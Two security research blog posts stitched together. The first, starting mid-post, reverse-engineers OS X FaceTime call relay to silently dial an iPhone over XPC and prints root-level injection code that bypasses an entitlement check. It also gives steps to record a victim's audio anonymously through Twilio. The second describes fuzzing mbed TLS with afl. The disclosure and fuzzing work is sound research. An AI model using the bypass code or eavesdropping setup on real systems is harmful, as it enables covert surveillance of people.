$ class-dump -H /System/Library/PrivateFrameworks/TelephonyUtilities.framework/TelephonyUtilities
$ ls
Looks like we could be in the right area, there are several classes that appear to be phone call related. Let’s check for any methods that might dial a call:
$ grep -i dial *
TUCall.h:        unsigned int dialAssisted:1;
TUCall.h:        unsigned int dialedFromEmergencyUI:1;
TUCall.h:- (void)setWasDialedFromEmergencyUI:(BOOL)arg1;
TUCall.h:- (BOOL)wasDialedFromEmergencyUI;
TUCall.h:- (void)setWasDialAssisted:(BOOL)arg1;
TUCall.h:- (BOOL)wasDialAssisted;
TUCallCenter.h:- (id)dialVoicemailWithSourceIdentifier:(id)arg1;
TUCallCenter.h:- (id)dialVoicemail;
TUCallCenter.h:- (id)dialEmergency:(id)arg1 sourceIdentifier:(id)arg2;
TUCallCenter.h:- (id)dialEmergency:(id)arg1;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4 isRelayCall:(BOOL)arg5;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3;
TUCallCenter.h:- (id)dial:(id)arg1 service:(int)arg2;
TUCallCenter.h:- (id)_dialFaceTimeCall:(id)arg1 isVideo:(BOOL)arg2 callID:(id)arg3 sourceIdentifier:(id)arg4;
TUCallServicesInterface.h:- (void)dialCall:(id)arg1;
TUCallServicesInterface.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4;
TUCallServicesProxyCallActions-Protocol.h:- (void)dialCall:(TUProxyCall *)arg1;
The dial: and dialCall: methods in these classes and protocol are worth investigating. We’ll do this in lldb, which will quickly be able to tell us if we’re on the right track. By using lldb’s regex breakpoints, we can break on every function that matches the regex ‘dial’. This will probably be overkill, but we can always narrow it down if needed.
$ lldb -p 7073
(lldb) process attach --pid 7073
Process 7073 stopped
Executable module set to "/Applications/".
Architecture set to: x86_64h-apple-macosx.
(lldb) breakpoint set -r dial
Breakpoint 1: 149 locations.
(lldb) c
Process 7073 resuming
That’s likely more than we actually want, but let’s see what happens. Place a call in FaceTime (be sure to select ‘Call using iPhone’), and see if any of the breakpoints are hit.

Success! lldb stops on one of our breakpoints, so there’s a good chance we’re looking in the right place:
Process 7073 stopped
* thread #1: tid = 0x207038, 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:], queue = '', stop reason = breakpoint 1.11
    frame #0: 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:]
TelephonyUtilities`-[TUCallCenter dial:callID:service:]:
->  0x7fff8f9d36f4 <+0>:  pushq  %rbp
    0x7fff8f9d36f5 <+1>:  movq   %rsp, %rbp
    0x7fff8f9d36f8 <+4>:  movq   -0x1a6ad977(%rip), %rsi   ; "dial:callID:service:sourceIdentifier:"
    0x7fff8f9d36ff <+11>: xorl   %r9d, %r9d
(lldb) po $rdx
1 (212) 867-5309
(lldb) po $rcx
<object returned empty description>

(lldb) p $r8
(unsigned long) $14 = 1
The arguments passed to this method are a string containing the destination number in $rdx, an empty string in $rcx (callID:), and the integer 1 in $r8 (service:).

Continuing to follow execution, our breakpoints fire on the following sequence of functions. After the last dialCall, the number is dialed on the iPhone.
-[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil]
-[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil isRelayCall:]
-[TUCallServicesInterface dial:@"1 (212) 867-5309" callID: @"" service:1 sourceIdentifier:nil]
-[TUCallServicesInterface dialCall:(TUProxyCall *)]
Looking at the disassembly of that final dialCall: method, you’ll see that the last thing it does is call -[[TUCallServicesInterface daemonDelegate] dialCall:(TUProxyCall *)]:
    0x7fff8f9cb96c <+193>: movq   -0x1a6a618b(%rip), %rsi   ; "daemonDelegate"
    0x7fff8f9cb973 <+200>: movq   %r12, %rdi ; r12 == self
    0x7fff8f9cb976 <+203>: callq  *%rbx
    0x7fff8f9cb978 <+205>: movq   -0x1a6a60df(%rip), %rsi   ; "dialCall:"
    0x7fff8f9cb97f <+212>: movq   %rax, %rdi
    0x7fff8f9cb982 <+215>: movq   %r14, %rdx ; r14 == (TUProxyCall *)
    0x7fff8f9cb985 <+218>: movq   %rbx, %rax
    0x7fff8f9cb988 <+221>: addq   $0x10, %rsp
    0x7fff8f9cb98c <+225>: popq   %rbx
    0x7fff8f9cb98d <+226>: popq   %r12
    0x7fff8f9cb98f <+228>: popq   %r14
    0x7fff8f9cb991 <+230>: popq   %r15
    0x7fff8f9cb993 <+232>: popq   %rbp
    0x7fff8f9cb994 <+233>: jmpq   *%rax ; objc_msgSend
However this method didn’t trip a breakpoint when it was called, even though it matches the regex. Why not?
(lldb) b 0x7fff8f9cb994
Breakpoint 5: where = TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, address = 0x00007fff8f9cb994
(lldb) c
Process 7073 resuming
Process 7073 stopped
* thread #1: tid = 0x207038, 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, queue = '', stop reason = breakpoint 5.1
    frame #0: 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233
TelephonyUtilities`-[TUCallServicesInterface dialCall:]:
->  0x7fff8f9cb994 <+233>: jmpq   *%rax
TelephonyUtilities`-[TUCallServicesInterface answerCall:]:
    0x7fff8f9cb996 <+0>:   pushq  %rbp
    0x7fff8f9cb997 <+1>:   movq   %rsp, %rbp
    0x7fff8f9cb99a <+4>:   pushq  %r15
(lldb) po $rdi
<_NSXPCDistantObject: 0x600000268a00>

(lldb) po $rdx
<TUProxyCall 0x60800018ddd0 service=1 destinationID=1 (212) 867-5309 5 status=3 disconnectedReason=0 startTime=0.000000 uniqueProxyIdentifier=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 callUUID=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 isEndpointOnCurrentDevice=1 sourceIdentifier=(null)>
The objective-c ‘self’ pointer is in $rdi, so daemonDelegate is an NSXPCDistantObject. That means the dialCall: method is actually located in another process and is being invoked over XPC. This is likely the last stage of the dialing process that happens in the FaceTime app, aside from XPC callbacks from this service for things like call status updates.

To find the server side process exposing this XPC endpoint, we’ll look in the TelephonyUtilities framework directory:
$ ls /System/Library/PrivateFrameworks/TelephonyUtilities.framework/
Resources        Versions
TelephonyUtilities    callservicesd
$ ps aux | grep callservicesd
dan              3351   0.0  0.2  2588388  41372   ??  S    Wed11PM   0:29.25 /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
callservicesd is probably what we’re after, especially considering that we’ve been following execution in a class named TUCallServicesInterface.

We should now have everything we need to create our own XPC client that communicates with callservicesd, invokes the dialCall: method, and receives status callbacks. The class dump of TUCallServicesInterface shows that the daemonDelegate object conforms to the TUCallServicesDaemonDelegate protocol, which conforms to the TUCallServicesProxyCallActions protocol, which specifies the dialCall:(TUProxyCall *) method we want to invoke.

Putting this all together gives us xpcdial.m, which successfully dials a call on the iPhone by communicating with callservicesd over XPC, with no indication given to the user. The code also implements a class (CallObserver) conforming to the TUCallServicesDaemonObserver protocol so we can receive call status updates. There are a few interesting options to play with in the code that allow you to disable or reroute audio.

What about SMS?
The Messages application communicates with the imagent daemon over XPC in a similar manner to FaceTime and callservicesd. However when attempting to communicate with imagent directly to send SMS messages, the following error is returned:

imagent[250]: [Warning] Not entitled, *Not* granting listener port: 4FEB3BC3-6209-4838-86E6-8FCF4DB6206D pid: 71017 process: testclient

In this case, the Messages binary contains an entitlement that is verified by imagent prior to allowing an XPC connection. If we want to communicate with imagent using XPC, we’ll have to find a way to deal with this entitlement check. More on that later.

Apple’s First Fix
In OS X 10.10.5, our XPC client fails to communicate with callservicesd. The following log message is produced when the connection is attempted:

callservicesd[3328]: XPC connection <NSXPCConnection: 0x7ff14ac7e4d0> connection from pid 3340 lacks entitlement, not accepting connection

Apple applied a similar entitlement check to the one used by imagent and Messages, by adding the entitlement ‘’ to the FaceTime binary. The callservicesd daemon verifies that the PID making the XPC connection has this entitlement prior to allowing it. This is not easily bypassed, as only binaries signed by Apple can be granted this entitlement. Since both FaceTime and callservicesd are code signed, most code injection techniques available to non-root users are ineffective. The situation is very similar to Apple’s rootpipe fix, however in this case we’ve only got one binary (FaceTime) on the system with the entitlement and it doesn’t seem possible to load plugins into its memory space.

However, if an attacker has obtained root access using another vulnerability, bypassing the entitlement check is easily demonstrated using a tool such as osxinj to override the responsible function within callservicesd:
#import <objc/runtime.h>
#import <Foundation/Foundation.h>

@implementation NSXPCConnection(Overrides)
+(void)load {
  static dispatch_once_t token;
  dispatch_once(&token, ^{
     Class class = [self class];
     Method orig = class_getInstanceMethod(class, @selector(valueForEntitlement:));
     Method swiz = class_getInstanceMethod(class, @selector(my_valueForEntitlement:));
     NSLog(@“entitlement checks bypassed");

-(id)my_valueForEntitlement:(id)arg1 { return @1; }
$ clang -o callservicesd_hook.dylib -dynamiclib callservicesd_hook.m -framework Foundation
$ sudo osxinj callservicesd callservicesd_hook.dylib
Once the dylib has been injected into callservicesd, the original exploit works as it did prior to 10.10.5. This type of injection by the root user is prevented on OS X 10.11 via the new System Integrity Protection feature.

What else can we do?
Now that we can dial arbitrary phone numbers, what can we do aside from running up our target’s phone bill?

It turns out that setting something up like the “covert channel audio recorder” described earlier is remarkably simple, and can even be done anonymously. We provide an example implementation below to show that these types of attacks are not only realistic, they require almost no resources. This is mainly because unlike 1997, in 2015 we have The Cloud. Services like Twilio allow us to build scalable telephony services in a few lines of XML that traditionally required significant infrastructure. It’s easy to create and deploy a service that answers incoming calls, records the audio to an mp3 file, and transcribes the audio into a text file. In fact, the complete TwiML code for the service is only 132 characters long, meeting the important benchmark of fitting into a tweet:

<?xml version="1.0" encoding="UTF-8"?><Response><Record timeout="0" maxLength="3600" transcribe="true" playBeep="false"/></Response>

If you’re willing to forego the transcription, you can run the entire operation anonymously using Twilio’s free service tier with a little bit of effort. We’ll walk you through the steps:

1) Sign up for Twilio using an existing mobile number. To remain anonymous, use a prepaid SIM card, Google Voice number, or a combination of similar services.
2) We will be issued a ‘Twilio Number’ which is connected to our telephony application. This is the number our malware payload will dial.
3) Next, we’ll need to point our Twilio number at a URL which serves the TwiML that controls our application. Normally we’d write some code to react to various user events, but in our case we can get away with a static XML file. Since we want to remain anonymous and not spend any money, we’ll host it on Google Drive. (Remove the “transcribe=true” if you’re using the free tier).
4) Dial the Twilio number. We will be greeted by a recording thanking us for using our demo account, and asking us to press any key to continue. After doing so, our application starts and all audio is recorded and saved to an mp3 file on Twilio’s servers. This poses two problems - we don’t want that greeting to play on our target’s system, and our payload doesn’t send DTMF digits.
5) The simplest way to handle these issues is to give Twilio a credit card number and upgrade your account. This removes the initial greeting and requirement to press a key, and also allows you to take advantage of Twilio’s transcription feature. If you’ve done this, skip the next two steps.
6) Since we’d like to remain anonymous for this exercise, we can make some changes to our payload to work around the free account limitations. To deal with the greeting message, our code could temporarily disable the outbound audio stream coming from FaceTime so the user wouldn’t hear it. Since this is just an example, we’ll simply mute system audio for 10 seconds.
7) Next we’ll use the XPC method playDTMFToneForCall: to simulate pressing a single digit. The tone is not echoed back to the sender, so the target system will not hear anything.
8) That’s it! When the malware payload is triggered, the iPhone will dial our Twilio number, mute audio for approximately 10 seconds, simulate a DTMF key press, and audio recording will begin. This all happens over the user’s mobile network - no audio data travels over the Internet.

In part 2 of this post, we’ll walk through exploitation of CVE-2015-5897 which allows the entitlement check to be bypassed without root access. This is accomplished using an interesting bug in the AddressBook framework that is exploitable by placing the callservicesd process inside a sandbox profile.

Fuzzing the mbed TLS Library


GDS recently discovered a client-side NULL pointer dereference in all versions of mbed TLS using afl-fuzz.  The issue was reported to ARM who quickly released fixes for all affected versions.  See below for further details.


Fuzzing is a testing technique that feeds a program under inspection with random inputs and observes its behavior. The goal of fuzzing is to discover bugs in the inspected program. Michal Zalewski’s fuzzer american fuzzy lop (afl) is currently one of the most sophisticated open source fuzzers due to its unique approach to fuzzing. Afl utilizes compile-time instrumentation and genetic algorithms to discover test inputs that crash the program under inspection. The fuzzer has gained popularity due to finding plenty of bugs in open source projects. The findings include the recent vulnerability in the BIND9 DNS server which enables attackers to crash the DNS server via a crafted TKEY query. Hanno Boeck reported that the Heartbleed vulnerability in OpenSSL which allows attackers to read parts of the server memory could have been found using afl. A popular alternative to OpenSSL is mbed TLS. The library was formerly called PolarSSL and is owned by ARM Limited. Inspired by Hanno’s OpenSSL fuzzing efforts, this blog post describes how afl can be used to fuzz the mbed TLS 2.0.0 and mbed TLS 1.3.12 libraries.

Creating a Fuzzable Instance

The Transport Layer Security (TLS) protocol is a commonly used protocol which allows a TLS client and a TLS server to establish an encrypted and integrity-protected communication channel over a computer network such as the Internet. TLS is the successor of the Secure Sockets Layer (SSL) protocol which was developed by Netscape. SSL has been considered insecure since the advent of the POODLE attack in 2014. TLS/SSL serves as the basis for many other network protocols such as HTTPS which allows web browsers to securely communicate with web servers. RFC 5246 defines TLS 1.2 which is the latest released version of TLS. More high-level descriptions of TLS/SSL are available from Microsoft, a blog post by Alvaro Castro-Castilla, and the test page.

As TLS is a network protocol, the network packets which the client and server applications exchange constitute interesting candidates for fuzzing. A network packet that crashes the client or server application exhibits a severe vulnerability, as attackers who can communicate with the vulnerable application only need to replay the corresponding packet (and potentially previous packets) in order to mount a Denial-of-Service (DoS) attack. Depending on the nature of the vulnerability, it might also be possible to gain control over the application and the underlying operating system.

To be able to fuzz the network packets, a program that runs the TLS protocol has to be implemented. The program needs to support reading program input from files and use it as the content of a specific network packet. Implementing such a program poses several challenges. A straightforward approach to implement a run of the TLS protocol would be to launch a client thread and a server thread. While it is possible to fuzz a multi-threaded binary, it is highly recommendable to stick to a single thread to obtain predictable results. Therefore, our approach is to implement a single-threaded TLS client and server combination. Hanno Boeck also adopted this approach to fuzz OpenSSL for the Heartbleed vulnerability.

The source code under programs/ssl/ in the mbed TLS source folder served as a starting point for our implementation of a fuzzable program. In particular, the files ssl_server.c and ssl_client1.c provide suitable TLS server and client implementations. The server and client code has to be intertwined accordingly such that the program completes a TLS handshake and exchanges data over the TLS channel. One obvious challenge here is to handle the communication in a way that prevents the client and server from infinitely waiting for a response. In the handshake phase, for example, the client and server may send and receive several packets in a row. Simply letting the client and server carry out one handshake step (which involves merely sending or receiving a packet) in a loop is not sufficient, as the client or server may block waiting to receive a packet that the other side has not sent. Instead, it is necessary to let the client and server execute a specific number of handshake steps in each iteration of the loop until both finish the handshake. As the client and server run in the same thread, it is desirable to let the client and server communicate over a buffer in memory rather than network sockets for performance reasons. Therefore, our program utilizes memory buffers by default, but users can instruct the program to use network communication instead. An additional challenge is to render the program deterministic in order to allow for thorough testing with predictable results. To make the implementation deterministic, we replaced the random number generator function with a function that returns a nonzero constant (using zero is not possible due to requirements for key generation). Moreover, the client and server send a timestamp as part of their Hello messages. Therefore, we modified mbed TLS to use a constant timestamp to achieve deterministic behavior. In addition to reading the content of a network packet from a file, our program allows for saving all network packets that are exchanged in the deterministic program run as separate files.

Fuzzing Stage

Afl requires the target binary to be compiled with instrumentation capabilities. Moreover, we have to instrument the mbed TLS library. To do this, we wrote a compilation script that builds mbed TLS and our test program using afl’s best optimizing compiler afl-clang-fast. The llvm_mode/README.llvm of afl states that using afl-clang-fast “some slow, CPU-bound programs will run up to around 2x faster.”

In addition to the compilation script, we wrote a script to automate the fuzzing process. The script expects the number of the packet to fuzz and the fuzzer number as its arguments. Our script is able to leverage the parallel fuzzing capability of afl. To run the afl fuzzing tasks in parallel on different processor cores, it is necessary to set up a master instance by setting the fuzzer number argument of the script to 1.  The script then sets up the folder structure including the test input and output folders, generates the initial network packet to fuzz, and launches the master instance. All other fuzzing instances are slaves. Our script provides for a convenient way to launch slaves.

It is important to note that memory access errors do not necessarily lead to a program crash. If that is the case, afl will not be able to detect the bug. However, it is possible to compile the targeted code with the powerful LLVM/Clang tools AddressSanitizer (add AFL_USE_ASAN=1 to the environment) or MemorySanitizer (add AFL_USE_MSAN=1 to the environment) activated and then run afl. Memory access error will now crash the target program. Compiling the binary with the environment variable AFL_HARDEN=1 set, also facilitates detecting simple memory access errors. While the tools enable afl to detect more bugs, the runtime performance of the compiled binary decreases. On 64-bit systems, AddressSanitizer has to be used with caution, since it reserves a lot of virtual memory which can render the system unstable. Under Linux, it is possible to use the script experimental/asan_cgroups/ that ships with afl to leverage cgroups to restrict the resource usage. A tutorial of the Fuzzing Project by Hanno Boeck and the afl documentation located at docs/notes_for_asan.txt provide further details.

The following screenshot shows the master instance of afl fuzzing the fourth network packet.


Our fuzzing scans discovered client-side NULL pointer dereference vulnerabilities in mbed TLS which affect all maintained versions of mbed TLS. ARM fixed the issues in versions 2.1.1, 1.3.13 and PolarSSL version 1.2.16.  See the release notes for details.


In this blog post, we explored an approach to fuzz the mbed TLS library using afl. The tool was able to discover previously unknown vulnerabilities in mbed TLS. Going forward, we aim that our tool remains useful for testing mbed TLS. Moreover, we hope that the description of our efforts aids others in using afl to find bugs in (network protocol) libraries. Since June 2015, afl supports the so called persistent mode which avoids the overhead of constantly forking a new process for every fuzzing input. The idea of persistent mode is to let afl iteratively feed test input into a long-lived process. In each iteration, the process resets the state, reads the test input from afl, and executes the code under inspection. While persistent mode is still considered experimental, it potentially facilitates the process of making programs fuzzable and offers promising performance benefits.

Our test program and scripts are available on GitHub:


We thank Michal Zalewski for creating the wonderful fuzzer afl, Hanno Boeck for starting the Fuzzing Project and his Heartbleed rediscovery efforts using afl, and the mbed TLS team at ARM for their rapid response to this issue.